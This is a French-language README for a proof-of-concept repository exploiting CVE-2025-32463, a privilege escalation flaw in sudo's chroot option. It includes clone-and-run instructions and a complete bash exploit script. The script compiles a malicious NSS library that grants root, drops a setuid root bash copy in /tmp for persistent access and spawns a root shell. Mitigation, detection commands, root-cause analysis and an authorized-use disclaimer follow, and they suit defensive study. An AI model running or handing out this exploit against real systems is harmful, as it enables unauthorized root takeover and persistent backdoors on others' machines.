CVE-2025-32463 - Exploitation d'escalade de privilèges Sudo Chroot

Aperçu

CVE-2025-32463 est une vulnérabilité critique d'escalade de privilèges locaux dans les versions de sudo 1.9.14 à 1.9.17. Cette vulnérabilité permet aux attaquants disposant de privilèges sudo d'escalader vers un accès root en exploitant un défaut de conception dans la logique de traitement de l'option chroot.

Détails de la vulnérabilité

• Identifiant CVE : CVE-2025-32463
• Versions affectées : sudo 1.9.14 - 1.9.17
• Type de vulnérabilité : Escalade de privilèges locaux (LPE)
• Sévérité : Critique
• Version corrigée : sudo 1.9.17p1 et ultérieures

Description technique

La vulnérabilité survient en raison d'un problème de synchronisation dans le processus de validation de sécurité de sudo. La fonction pivot_root est exécutée avant la vérification de la politique de sécurité, permettant aux attaquants de manipuler l'environnement du système de fichiers que sudo utilise pour l'authentification et l'autorisation.

Déroulement de l'attaque

1. Manipulation de l'environnement : L'attaquant crée un environnement chroot contrôlé avec un fichier nsswitch.conf malveillant
2. Injection de bibliothèque : Une bibliothèque NSS (Name Service Switch) malveillante est placée dans l'environnement contrôlé
3. Escalade de privilèges : sudo charge et exécute la bibliothèque malveillante avec les privilèges root
4. Accès root : L'attaquant obtient un accès complet au shell root

Fonctions affectées

• pivot_root : Exécutée trop tôt dans le processus
• set_cmnd_path : Opère dans l'environnement manipulé
• command_matches : Les contrôles de sécurité sont contournés en raison de la manipulation de l'environnement

Prérequis

Avant d'utiliser cet exploit, assurez-vous que les conditions suivantes sont remplies :

• Le système cible exécute sudo version 1.9.14 - 1.9.17
• L'utilisateur actuel dispose de privilèges sudo
• La configuration sudoers autorise les opérations chroot
• Le compilateur gcc est disponible sur le système cible
• Accès en écriture aux répertoires temporaires (par exemple, /tmp)

Utilisation

Démarrage rapide

1. Clonez ce dépôt :

git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463

2. Rendez le script exécutable :

chmod +x cve-2025-32463.sh

3. Exécutez l'exploit :

./cve-2025-32463.sh

Vérification manuelle

Vérifiez si le système cible est vulnérable :

# Check sudo version
sudo --version

# Check sudo privileges
sudo -l

# Look for chroot-related permissions
sudo -l | grep chroot

Code de l'exploit

Le script d'exploit principal (cve-2025-32463.sh) :

#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}

Vérification

Après une exploitation réussie, vérifiez l'accès root :

# Check current privileges
whoami

# Check proof file
cat /tmp/pwned_proof.txt

# Use setuid bash for persistent root access
/tmp/rootbash -p

Atténuation

Actions immédiates

1. Mettez à jour sudo vers la version 1.9.17p1 ou ultérieure :

   root@kitploit:~

   # Ubuntu/Debian
   sudo apt update && sudo apt upgrade sudo
   
   # CentOS/RHEL
   sudo yum update sudo
   
   # or
   sudo dnf update sudo
   

2. Supprimez les directives chroot du fichier sudoers (solution temporaire) :

   root@kitploit:~

   # Backup current configuration
   sudo cp /etc/sudoers /etc/sudoers.backup
   
   # Remove chroot-related entries
   sudo sed -i '/chroot/d' /etc/sudoers
   
   # Verify syntax
   sudo visudo -c
   

Détection

Surveillez les tentatives d'exploitation :

# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d

# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo

# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f

Détails techniques

Analyse de la cause racine

La vulnérabilité provient d'un défaut de conception dans le flux d'exécution de sudo :

1. Flux normal attendu :

   • Analyser l'entrée utilisateur
   • Valider la politique sudoers
   • Configurer l'environnement (y compris chroot)
   • Exécuter la commande

2. Flux vulnérable réel :

   • Analyser l'entrée utilisateur
   • Exécuter chroot (pivot_root) - Le problème se produit ici
   • Valider la politique sudoers (dans un environnement manipulé)
   • Exécuter la commande

Exploitation de la bibliothèque NSS

L'exploit exploite le système Name Service Switch (NSS) :

1. Sudo lit /etc/nsswitch.conf pour l'authentification utilisateur
2. Dans l'environnement chroot, l'attaquant contrôle ce fichier
3. La bibliothèque NSS malveillante est chargée avec les privilèges root
4. Le constructeur de la bibliothèque exécute du code arbitraire en tant que root

Environnement de test

Cet exploit a été testé sur :

• Ubuntu 20.04/22.04 avec sudo 1.9.15
• Debian 11/12 avec sudo 1.9.14-1.9.17
• CentOS 8/9 avec les versions de sudo affectées
• Conteneurs Docker avec des installations sudo vulnérables

Références

• Avis de sécurité officiel de sudo
• Recherche originale par Rich Mirch
• Analyse du code source de sudo

Avertissement

⚠️ AVERTISSEMENT IMPORTANT ⚠️

Cet outil est fourni uniquement à des fins éducatives et de tests autorisés.

• Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
• L'utilisation non autorisée de cet exploit est illégale et contraire à l'éthique
• Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage
• Assurez-vous toujours d'avoir l'autorisation appropriée avant d'effectuer des tests de sécurité

Contribution

Les contributions sont les bienvenues ! Veuillez :

1. Forker le dépôt
2. Créer une branche de fonctionnalité
3. Soumettre une pull request avec une description détaillée

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Journal des modifications

v1.0.0

• Version initiale
• Fonctionnalité de base de l'exploit
• Documentation complète

Remarque : Cette vulnérabilité affecte un composant système critique. Veuillez l'utiliser de manière responsable et assurez-vous que tous les tests sont autorisés.